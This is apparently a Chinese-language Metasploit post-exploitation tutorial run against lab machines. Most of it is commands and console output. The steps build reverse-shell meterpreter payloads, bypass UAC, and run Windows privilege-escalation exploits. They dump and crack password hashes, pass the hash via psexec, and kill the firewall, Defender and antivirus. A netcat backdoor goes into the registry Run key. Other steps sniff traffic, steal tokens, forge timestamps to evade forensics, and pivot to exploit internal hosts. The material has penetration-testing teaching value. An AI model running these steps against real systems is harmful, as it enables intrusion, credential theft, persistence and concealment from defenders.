Mestasploit 后渗透测试阶段

时间  2019-11-11
标签 mestasploit 渗透 测试 阶段 繁體版
原文   原文链接

1. 得到普通帐号权限

  • 已经得到目标系统控制权后扩大战果php

    • 提权
    • 信息收集
    • 渗透内网
    • 永久后门

  • 基于已有 session 扩大战果css

    • msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o payload.exehtml

  • 开启Apache传输payloadgit

root@kali:~# /etc/init.d/apache2 start 
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@kali:~# cp payload.exe /var/www/html/

 

  • kali 监听4444端口web

    msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.6.128
msf exploit(multi/handler) > exploit -j

  • windows 系统执行 payload.exesql

  • kali 进入 metepretershell

    msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.6.128:4444 
[*] Sending stage (179779 bytes) to 192.168.6.129
[*] Meterpreter session 1 opened (192.168.6.128:4444 -> 192.168.6.129:49161) at 2018-09-01 18:10:29 +0800

meterpreter > getuid 
Server username: vv-PC\vv

2. 获取 system 帐号权限

  • 提权失败，通常是因为 UAC 限制apache

    meterpreter > getuid
Server username: WIN7-VM\John
meterpreter > load priv
[-] The 'priv' extension has already been loaded.
meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)


meterpreter > background

  • 绕过 UAC 限制windows

    • use exploit/windows/local/askapi

      msf exploit(multi/handler) > use exploit/windows/local/ask
msf exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/ask) > set lhost 192.168.6.128
lhost => 192.168.6.128
msf exploit(windows/local/ask) > set filename win_updata.exe
filename => win_updata.exe
msf exploit(windows/local/ask) > set session 1
session => 1
msf exploit(windows/local/ask) > options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME   win_updata.exe   no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows

      经过getsystem获取管理员权限

      msf exploit(windows/local/ask) > exploit 

[*] Started reverse TCP handler on 192.168.6.128:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading win_updata.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (179779 bytes) to 192.168.6.129
[*] Meterpreter session 2 opened (192.168.6.128:4444 -> 192.168.6.129:49162) at 2018-09-01 18:15:00 +0800

meterpreter > getuid 
Server username: vv-PC\vv
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

       

    • use exploit/windows/local/bypassuac

      msf exploit(windows/local/ask) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > set session 1
session => 1
msf exploit(windows/local/bypassuac) > set lhost  192.168.6.128
lhost => 192.168.6.128
msf exploit(windows/local/bypassuac) > show options 

Module options (exploit/windows/local/bypassuac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86
      msf exploit(windows/local/bypassuac) > exploit 

[*] Started reverse TCP handler on 192.168.6.128:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (179779 bytes) to 192.168.6.129
[*] Meterpreter session 3 opened (192.168.6.128:4444 -> 192.168.6.129:49165) at 2018-09-01 18:21:37 +0800

meterpreter > getuid 
Server username: vv-PC\vv
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

       

    • use exploit/windows/local/bypassuac_injection

      msf exploit(windows/local/bypassuac_injection) > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac_injection) > set session 1
session => 1
msf exploit(windows/local/bypassuac_injection) > set lhost 192.168.6.128
lhost => 192.168.6.128
msf exploit(windows/local/bypassuac_injection) > options 

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86
      msf exploit(windows/local/bypassuac_injection) > exploit 

[*] Started reverse TCP handler on 192.168.6.130:4444 
[+] Windows 7 (Build 7601, Service Pack 1). may be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject into...
[+] Successfully injected payload in to process: 3236
[*] Sending stage (179779 bytes) to 192.168.6.154
[*] Meterpreter session 2 opened (192.168.6.130:4444 -> 192.168.6.154:49175) at 2018-09-01 20:57:42 +0800

meterpreter > getuid 
Server username: vv-PC\vv
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

       

  • 利用漏洞直接提权为 system

    • use exploit/windows/local/ms13_053_schlamperei（未成功）

      use exploit/windows/local/ms13_053_schlamperei
set SESSION 1

    • use exploit/windows/local/ms13_081_track_popup_menu（使目标重启，DOS攻击）

      use exploit/windows/local/ms13_081_track_popup_menu
set SESSION 1
exploit

    • use exploit/windows/local/ms13_097_ie_registry_symlink

      use exploit/windows/local/ms13_097_ie_registry_symlink
set SESSION 1
set URIPATH /
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
set SRVHOST 10.0.0.128
exploit

    • use exploit/windows/local/ppr_flatten_rec

      use exploit/windows/local/ppr_flatten_rec
set SESSION 1
exploit

  • 图形化 payload

    • set payload windows/vncinject/reverse_tcp

      use exploit/windows/local/ppr_flatten_rec
set payload windows/vncinject/reverse_tcp
set SESSION 1
set LHOST 10.0.0.128
set ViewOnly false
exploit

 

  • 关闭 UAC 功能

    • 获取 hashdump

      meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    John:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

    • 尝试利用

      use exploit/windows/smb/psexec
set RHOST 10.0.0.132
set SMBUser John
set SMBPass  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit

      报错：Exploit failed [no-access]

    • 须要提早关闭 UAC

      sessions -i 2
shell
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
shutdown -r -t 0

    • 再次利用

      use exploit/windows/smb/psexec
set RHOST 10.0.0.132
set SMBUser John
set SMBPass  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit

4. 基础操做

1. 关闭防火墙

  • 须要管理员或system权限

    netsh advfirewall set allprofiles state on
netsh advfirewall set allprofiles state off

2. 关闭 windefend

  • 查看服务名称

  • 关闭防火墙

    net stop windefend

3. bitlocker 加密

  • manage-bde -off C:
  • manage-bde -status C:

4. 关闭 DEP

  • bcdedit.exe /set {current} nx AlwaysOff

5 杀死防病毒软件

  • run killav
  • run post/windows/manage/killav

6. 开启远程桌面服务

# 开启服务
run post/windows/manage/enable_rdp

# 关闭服务
run multi_console_command -rc root/.msf4/loot/20180418001805_default_10.0.0.132_host.windows.cle_842354.txt

# 开启服务
run getgui –e
run getgui -u yuanfh -p pass
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc

7. 查看远程桌面

  • screenshot
  • use espia
    • screengrab

5. 使用 tokens 攻击域控制器

-tokens
- 用户每次登陆，帐号绑定临时的tokens
- 访问资源时提交 tokens 进行身份验证，相似于 web cookies
- delegate tokens：交互登陆会话
- impersonate tokens：非交互登陆会话
- delegate tokens 帐号注销后变为 Impersonate Token，权限依然有效

  • Incognito

    • 独立功能的软件，被 msf 集成在 metepreter 中
    • 无需密码或破解或获取密码 hash，窃取 tokens 将本身假装成其余用户
    • 尤为适用于域环境下提权渗透多操做系统

  • 搭建域环境

    • DC + XP

  • load incognito

    • list_tokens -u
    • impersonate_token lab\administrator
    • 运行以上命令须要 getsystem
      • 本地普通权限用户须要先本地权限
      • use exploit/windows/local/ms10_015_kitrap0d
      • execute -f cmd.exe -i -t # -t：使用当前假冒tokens执行程序
      • shell

8. 注册表

  • 注册表保存着 windows 几乎所有配置参数

    • 若是修改不当，可直接形成系统崩溃
    • 修改前完整备份注册表
    • 某些注册表的修改是不可逆的

  • 常见用途

    • 修改、增长启动项
    • 窃取存储于注册表中的机密信息
    • 绕过文件型病毒查杀

  • 用注册表添加 nc 后门服务（metepreter）

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe
meterpreter > reg 
Usage: reg [command] [options]

Interact with the target machine's registry.

OPTIONS:

    -d <opt>  The data to store in the registry value.
    -h        Help menu.
    -k <opt>  The registry key path (E.g. HKLM\Software\Foo).
    -r <opt>  The remote machine name to connect to (with current process credentials
    -t <opt>  The registry value type (E.g. REG_SZ).
    -v <opt>  The registry value name (E.g. Stuff).
    -w        Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:

    enumkey	Enumerate the supplied registry key [-k <key>]
    createkey	Create the supplied registry key  [-k <key>]
    deletekey	Delete the supplied registry key  [-k <key>]
    queryclass Queries the class of the supplied key [-k <key>]
    setval	Set a registry value [-k <key> -v <val> -d <data>]
    deleteval	Delete the supplied registry value [-k <key> -v <val>]
    queryval	Queries the data contents of a value [-k <key> -v <val>]


meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (1):

	VMware                    #查看开机启动的进程

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'    #建立副键
Successfully set nc of REG_SZ.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe

 

  • 打开防火墙端口（metepreter）

meterpreter > execute -f cmd -i -H
Process 2276 created.
Channel 5 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\vv\Desktop>netsh firewall show opmode      查看防火墙状态
netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Disable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .



C:\Users\vv\Desktop>netsh firewall add portopening TCP 444 "test" ENABLE ALL
netsh firewall add portopening TCP 444 "test" ENABLE ALL     #添加防火墙规则

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .

Ok.


C:\Users\vv\Desktop>shutdown -r -f -t 0                  #重启目标主机生效

9. 抓包

  • 抓包（metepreter）
    • load sniffer
    • sniffer_interfaces
    • sniffer_start 2
    • sniffer_dump 2 1.cap / sniffer_dump 2 1.cap
    • 在内存中缓冲区块循环存储抓包（50000包），不写硬盘
    • 智能过滤 metepreter 流量，传输全称使用 SSL/TLS 加密
meterpreter > load sniffer 
Loading extension sniffer...Success.
meterpreter > help 
Sniffer Commands
================

    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface instead of downloading them
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface

meterpreter > sniffer_interfaces 

1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
  
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 1.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 164 packets (20244 bytes)
[*] Downloaded 100% (20244/20244)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to 1.cap
meterpreter > sniffer_dump 2 2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 686 packets (182326 bytes)
[*] Downloaded 100% (182326/182326)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to 2.cap

 

  • 解码
    • use auxiliary/sniffer/psnuffle
    • set PCAPFILE /root/1.cap
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/sniffer/psnuffle 
msf auxiliary(sniffer/psnuffle) > options 

Module options (auxiliary/sniffer/psnuffle):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILTER                      no        The filter string for capturing traffic
   INTERFACE                   no        The name of the interface
   PCAPFILE                    no        The name of the PCAP capture file to process
   PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
   SNAPLEN    65535            yes       The number of bytes to capture
   TIMEOUT    500              yes       The number of seconds to wait for new data


Auxiliary action:

   Name     Description
   ----     -----------
   Sniffer  

msf auxiliary(sniffer/psnuffle) > set pcapfile 2.cap
pcapfile => 2.cap
msf auxiliary(sniffer/psnuffle) > exploit 
[*] Auxiliary module running as background job 0.
msf auxiliary(sniffer/psnuffle) > 
[*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...
[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/favicon.ico
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/dvwa/
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/dvwa/login.php
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/dvwa/dvwa/css/login.css
[*] HTTP GET: 192.168.6.134:49162-192.168.6.1:80 http://192.168.6.1/dvwa/dvwa/images/login_logo.png
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/favicon.ico
[*] HTTP GET: 192.168.6.134:49163-192.168.6.1:80 http://192.168.6.1/sqllib/
[*] HTTP GET: 192.168.6.134:49163-192.168.6.1:80 http://192.168.6.1/sqllib/index.html_files/freemind2html.css
[*] HTTP GET: 192.168.6.134:49164-192.168.6.1:80 http://192.168.6.1/sqllib/index.html_files/freemind2html.js
[*] HTTP GET: 192.168.6.134:49163-192.168.6.1:80 http://192.168.6.1/sqllib/index.html_files/image.png
[*] HTTP GET: 192.168.6.134:49164-192.168.6.1:80 http://192.168.6.1/sqllib/sql-connections/setup-db.php
[*] Finished sniffing
Interrupt: use the 'exit' command to quit

 

10. 搜索文件

  • search -f *.ini
  • search -d c:\documents\ and\ settings\administrator\desktop\ -f *.docx

11. 破解弱口令

  • John the Ripper 破解弱口令

– use post/windows/gather/hashdump # system 权限的 metepreter
- run # 结果保存在 /tmp 目录下
- use auxiliary/analyze/jtr_crack_fast
- run

meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 1...
msf auxiliary(sniffer/psnuffle) > use post/windows/gather/hashdump 
msf post(windows/gather/hashdump) > set session 1
session => 1
msf post(windows/gather/hashdump) > exploit 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d547a11a1d5b60bbae251d356e192de0...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

vv:"vv"

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vv:1000:aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8:::


[*] Post module execution completed
msf post(windows/gather/hashdump) > use auxiliary/analyze/jtr_crack_fast 

msf auxiliary(analyze/jtr_crack_fast) > exploit 

[*] Cracking nt hashes in incremental mode (Digits)...
[*] Loaded 2 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
[*] Remaining 1 password hash
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:04 DONE (Mon Sep  3 21:50:07 2018) 0g/s 23052Kp/s 23052Kc/s 23052KC/s 73673953..73673952
Session completed
[*] Cracked Passwords this run:
[+] vv:vv:1:1
[+] vv:vv:4:4
[+] vv:vv:1:1
[+] vv:vv:4:4
[*] Auxiliary module execution completed

12. 擦除痕迹

  • 文件系统访问会留下痕迹。电子取证重点关注
  • 渗透测试和攻击者每每但愿销毁文件系统访问痕迹

  • 最好的避免被电子取证发现的方法：不要碰文件系统

    • metepreter 的先天优点所在（彻底基于内存）

  • MAC 时间 （Modified / Accessed / Changed）

    • ls -l –time=atime/mtime/ctime 1.txt
    • stat 1.txt
    • touch -d “2 days ago” 1.txt
    • touch -t 1501010101 1.txt

  • MACE：MFT entry

    • MFT：NTFS 文件系统的主文件分配表 Master File Table
    • 一般 1024 字节或2个硬盘扇区，其中存放多项 entry 信息
    • 包含文件大量信息（大小 名称 目录位置 磁盘位置 建立日期）
    • 更多信息可研究文件系统取证分析技术

  • Timestomp (meterpreter)

    • timestomp -v 1.txt
    • timestomp -f c:\autoexec.bat 1.txt
      -b -r # 擦除 MACE 时间信息，目前此参数功能失效
    • -m / -a / -c / -e / -z
meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2018-09-04 10:58:47 +0800
Accessed      : 2018-09-04 10:58:37 +0800
Created       : 2018-09-04 10:58:37 +0800
Entry Modified: 2018-09-04 10:58:47 +0800
meterpreter > timestomp -m "03/11/2019 22:22:22" 1.txt
[*] Setting specific MACE attributes on 1.txt
meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2019-03-11 22:22:22 +0800
Accessed      : 2018-09-04 10:58:37 +0800
Created       : 2018-09-04 10:58:37 +0800
Entry Modified: 2018-09-04 10:58:47 +0800

 

timestomp -z “MM/DD/YYYY HH24:MI:SS” 2.txt

meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2018-09-04 10:58:47 +0800
Accessed      : 2018-09-04 10:58:37 +0800
Created       : 2018-09-04 10:58:37 +0800
Entry Modified: 2018-09-04 10:58:47 +0800

meterpreter > timestomp -z "03/11/2019 22:22:22" 1.txt
[*] Setting specific MACE attributes on 1.txt
meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2019-03-11 22:22:22 +0800
Accessed      : 2019-03-11 22:22:22 +0800
Created       : 2019-03-11 22:22:22 +0800
Entry Modified: 2019-03-11 22:22:22 +0800

 

13. pivoting 跳板 / 枢纽/支点

  • msfvenom 制做 payload
    msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=kali_firewall LPORT=4444 -b “\x00\xff” -e x86/shikata_ga_nai -f exe -o payload.exe

  • 获取 system 权限

  • KALI:1.1.1.10

  • MONO1:  EM1: 1.1.1.1   EM2: 192.168.155.8

  • MONO2:  EM1: 2.1.1.1   EM2: 192.168.155.9

  • WIN7: 2.1.1.10

  • XP:  2.1.1.11

 

  • 利用已经控制的一台计算机做为入侵内网的跳板

  • 在其余内网计算机看来访问所有来自于跳板

  • run autoroute -s 2.1.1.0/24 # 不能访问外网的被攻击目标内网网段

  • meterpreter > run autoroute -s 2.1.1.0/24
[*] Adding a route to 2.1.1.0/255.255.255.0...
[+] Added route to 2.1.1.0/255.255.255.0 via 192.168.155.9
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   2.1.1.0            255.255.255.0      Session 1

     

  • 自动路由现实场景

    • 利用 win7 攻击内网 XP（对比 xp 有无外网访问权的状况）
      – 扫描内网：use auxiliary/scanner/portscan/tcp
    • msf exploit(handler) > use auxiliary/scanner/portscan/tcp 

msf auxiliary(tcp) > set rhosts 2.1.1.9-2.1.1.12
rhosts => 2.1.1.9-2.1.1.12
msf auxiliary(tcp) > set ports 139,445
ports => 139,445

msf auxiliary(tcp) > options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting   Required  Description
   ----         ---------------   --------  -----------
   CONCURRENCY  10                yes       The number of concurrent ports to check per host
   PORTS        139,445           yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       2.1.1.9-2.1.1.12  yes       The target address range or CIDR identifier
   THREADS      1                 yes       The number of concurrent threads
   TIMEOUT      1000              yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) > run 

[*] Scanned 1 of 4 hosts (25% complete)
[*] 2.1.1.10:139 - TCP OPEN
[*] 2.1.1.10:445 - TCP OPEN
[*] Scanned 2 of 4 hosts (50% complete)
[*] 2.1.1.11:139 - TCP OPEN
[*] 2.1.1.11:445 - TCP OPEN
[*] Scanned 3 of 4 hosts (75% complete)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed

       

  • Pivoting 之端口转发 portfwd

    • 利用已经被控计算机，在kali 与攻击目标之间实现端口转发
    • portfwd add -L LIP -l LPORT -r RIP -p RPORT
    • portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
    • portfwd list / delete / flush

  • 获取XP的shell

  • use exploit/windows/smb/ms08_067_netapi   （须要在win7添加防火墙规则，绕过UAC，容许win7和XP创建网络通信）

    • 没有添加防火墙规则的话，以下图所示

    • msf auxiliary(tcp) > use exploit/windows/smb/ms08_067_netapi   
msf exploit(ms08_067_netapi) > options 

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set lhost 2.1.1.10
lhost => 2.1.1.10
msf exploit(ms08_067_netapi) > set rhost 2.1.1.11
rhost => 2.1.1.11
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 2.1.1.10:4444 via the meterpreter on session 1
[*] Automatically detecting the target...
[*] Sending stage (957487 bytes)
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Chinese - Traditional
[*] Selected Target: Windows XP SP3 Chinese - Traditional (NX)
[*] Attempting to trigger the vulnerability...
[*] Meterpreter session 2 opened (1.1.1.10-192.168.155.5:4444 -> 2.1.1.11:1040) at 2018-09-05 13:50:55 +0800

meterpreter >

       

  • use exploit/multi/handler
    • set exitonsession false   #创建session后继续监听4444端口

14. POST 模块

  • meterpreter >

#主机发现

  • run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.56.0/24

[*] Running module against VV-59439F0BD59B
[*] ARP Scanning 192.168.56.0/24
[*] 	IP: 192.168.56.1 MAC 0a:00:27:00:00:12 (UNKNOWN)
[*] 	IP: 192.168.56.101 MAC 08:00:27:71:23:c2 (CADMUS COMPUTER SYSTEMS)
[*] 	IP: 192.168.56.102 MAC 08:00:27:05:ea:53 (CADMUS COMPUTER SYSTEMS)
[*] 	IP: 192.168.56.103 MAC 08:00:27:1d:39:73 (CADMUS COMPUTER SYSTEMS)
[*] 	IP: 192.168.56.100 MAC 08:00:27:85:be:3e (CADMUS COMPUTER SYSTEMS)

 

#检查是不是虚拟机    

  • run post/windows/gather/checkvm   
meterpreter > run post/windows/gather/checkvm

[*] Checking if VV-59439F0BD59B is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine

 

#查看帐号密码hash和token信息

  • run post/windows/gather/credentials/credential_collector 
meterpreter > run post/windows/gather/credentials/credential_collector

[*] Running module against VV-59439F0BD59B
[+] Collecting hashes...
    Extracted: Administrator:b7eab2f3aad8ad3daad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: HelpAssistant:28b6a6df4f20e81455e41330c1a79c70:0f7d49c7900cdf2bc7b2b12b65678e34
    Extracted: SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:0d9b1a742628418754aaf0ffd8d88816
    Extracted: vv:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Collecting tokens...
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    VV-59439F0BD59B\vv
    NT AUTHORITY\ANONYMOUS LOGON

 

#检查目标主机安装的应用程序

  • run post/windows/gather/enum_applications 
meterpreter > run post/windows/gather/enum_applications

[*] Enumerating applications installed on VV-59439F0BD59B

Installed Applications
======================

 Name                                         Version
 ----                                         -------
 Oracle VM VirtualBox Guest Additions 5.2.12  5.2.12.0
 WebFldrs XP                                  9.50.7523

 

#常看当前登陆用户和最近登录用户

  • run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users
====================

 SID                                          User
 ---                                          ----
 S-1-5-21-606747145-920026266-854245398-1003  VV-59439F0BD59B\vv


[*] Results saved in: /root/.msf5/loot/20180905175410_default_192.168.56.101_host.users.activ_302529.txt

Recently Logged Users
=====================

 SID                                          Profile Path
 ---                                          ------------
 S-1-5-18                                     %systemroot%\system32\config\systemprofile
 S-1-5-19                                     %SystemDrive%\Documents and Settings\LocalService
 S-1-5-20                                     %SystemDrive%\Documents and Settings\NetworkService
 S-1-5-21-606747145-920026266-854245398-1003  %SystemDrive%\Documents and Settings\vv

 

#枚举snmp

